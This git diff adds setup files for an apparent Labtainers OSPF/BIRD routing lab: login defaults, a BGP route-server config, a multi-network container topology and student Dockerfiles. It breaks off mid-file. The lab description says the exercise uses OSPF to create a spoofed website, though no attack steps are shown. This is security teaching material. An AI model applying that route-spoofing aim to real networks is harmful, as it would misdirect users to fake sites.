"vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..a53e40ca8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/usr/local/etc/bird.conf @@ -0,0 +1,74 @@ +/* + * Route server configuration for 20515 + */ + +log "/var/log/bird.log" all; + +define myas = 20515; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +# This function excludes weird networks +# rfc1918, class D, class E, too long and too short prefixes +function avoid_martians() +prefix set martians; +{ + martians = [ 169.254.0.0/16+, 172.16.0.0/12+, 192.168.0.0/16+, 10.0.0.0/8+, + 224.0.0.0/4+, 240.0.0.0/4+, 0.0.0.0/32-, 0.0.0.0/0{25,32}, 0.0.0.0/0{0,7} ]; + + # Avoid RFC1918 and similar networks + if net ~ martians then return false; + + return true; +} +protocol static STATIC4 { + ipv4 { preference 110; }; + route 203.22.0.0/24 via "eth0"; +} + +#### +# Protocol template + +template bgp PEERS { + local as myas; + ipv4{ + import filter{ + if ! (avoid_martians()) then reject; + accept; + }; + export filter{ + accept; + }; + }; +} + + +#### +# Configuration of BGP peer follows + + +protocol bgp R20525 from PEERS { + description "Member 1 - peer 1"; + neighbor 10.15.0.2 as 20525; +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/about.txt new file mode 100644 index 000000000..e5c976514 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/about.txt @@ -0,0 +1 @@ +Explore the Open Shortest Path First router protocol and use it to create a spoofed website. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/keywords.txt new file mode 100644 index 000000000..64a292c27 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/keywords.txt @@ -0,0 +1,4 @@ +routing tables +ospf +open shortest first path +router diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/parameter.config new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/parameter.config @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/start.config new file mode 100644 index 000000000..3eed5ff5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/config/start.config @@ -0,0 +1,135 @@ + GLOBAL_SETTINGS + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED bird-ospf_mike_master_seed +NETWORK TAP_LAN + MASK 192.15.0.0/24 + GATEWAY 192.15.0.101 +NETWORK WAN1 + MASK 10.15.0.0/24 + GATEWAY 10.15.0.101 + TAP YES +NETWORK LAN1 + MASK 10.1.0.0/24 + GATEWAY 10.1.0.101 + TAP YES +NETWORK LAN2 + MASK 10.2.0.0/24 + GATEWAY 10.2.0.101 + TAP YES +NETWORK LAN3 + MASK 10.3.0.0/24 + GATEWAY 10.3.0.101 + TAP YES +NETWORK LAN7 + MASK 10.7.0.0/24 + GATEWAY 10.7.0.101 + TAP YES +NETWORK LANS + MASK 202.25.0.0/24 + GATEWAY 202.25.0.101 +NETWORK LAN4 + MASK 202.25.4.0/24 + GATEWAY 202.25.4.101 +NETWORK LAN5 + MASK 202.25.5.0/24 + GATEWAY 202.25.5.101 +NETWORK LAN6 + MASK 202.25.6.0/24 + GATEWAY 202.25.6.101 +NETWORK LANX + MASK 203.22.0.0/24 + GATEWAY 203.22.0.101 +CONTAINER ir1 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST br:10.1.0.1 + LAN1 10.1.0.2 + LAN2 10.2.0.1 + LAN3 10.3.0.1 + LANS 202.25.0.1 + LAB_GATEWAY 10.1.0.1 + NAME_SERVER 10.1.0.1 + NO_GW YES +CONTAINER ir2 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + LAN2 10.2.0.2 + LAN7 10.7.0.2 + LAN4 202.25.4.1 + LAB_GATEWAY 10.2.0.1 + NAME_SERVER 10.2.0.1 + NO_GW YES +CONTAINER ir3 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + LAN3 10.3.0.2 + LAN7 10.7.0.3 + LAN5 202.25.5.1 + LAN6 202.25.6.1 + LAB_GATEWAY 10.3.0.1 + NAME_SERVER 10.3.0.1 + NO_GW YES +CONTAINER br + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST ir1:10.1.0.2 + ADD-HOST brx:10.15.0.3 + WAN1 10.15.0.2 + LAN1 10.1.0.1 + NO_GW YES +CONTAINER w1 + USER ubuntu + X11 YES + TERMINAL_GROUP ws + LAN4 202.25.4.2 + LAB_GATEWAY 202.25.4.1 + NAME_SERVER 202.25.4.1 +CONTAINER w2 + USER ubuntu + X11 YES + TERMINAL_GROUP ws + LAN5 202.25.5.2 + LAB_GATEWAY 202.25.5.1 + NAME_SERVER 202.25.5.1 +CONTAINER w3 + USER ubuntu + X11 YES + TERMINAL_GROUP ws + LAN5 202.25.5.3 + LAB_GATEWAY 202.25.5.1 + NAME_SERVER 202.25.5.1 +CONTAINER wx + USER ubuntu + X11 YES + TERMINAL_GROUP external + LANX 203.22.0.2 + LAB_GATEWAY 203.22.0.1 + NAME_SERVER 203.22.0.1 +CONTAINER brx + USER ubuntu + X11 YES + TERMINAL_GROUP external + ADD-HOST br:10.15.0.2 + WAN1 10.15.0.3 + LANX 203.22.0.1 + NO_GW YES +CONTAINER s1 + USER ubuntu + X11 YES + TERMINAL_GROUP ws + LANS 202.25.0.2 + LAB_GATEWAY 202.25.0.1 + NAME_SERVER 202.25.0.1 +CONTAINER tap + USER ubuntu + X11 YES + TERMINALS 0 + TAP YES +CONTAINER netmon + USER ubuntu + X11 YES + TAP_LAN 192.15.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.br.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.br.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.br.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.brx.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.brx.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.brx.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir1.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir2.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir3.student new file mode 100644 index 000000000..bb5a7ab9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.ir3.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.netmon.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.netmon.student new file mode 100644 index 000000000..f8104123a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.netmon.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.netmon +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.s1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.s1.student new file mode 100644 index 000000000..ae59c1c85 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.s1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.tap.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.tap.student new file mode 100644 index 000000000..3c90dbadf --- /dev/null +++ 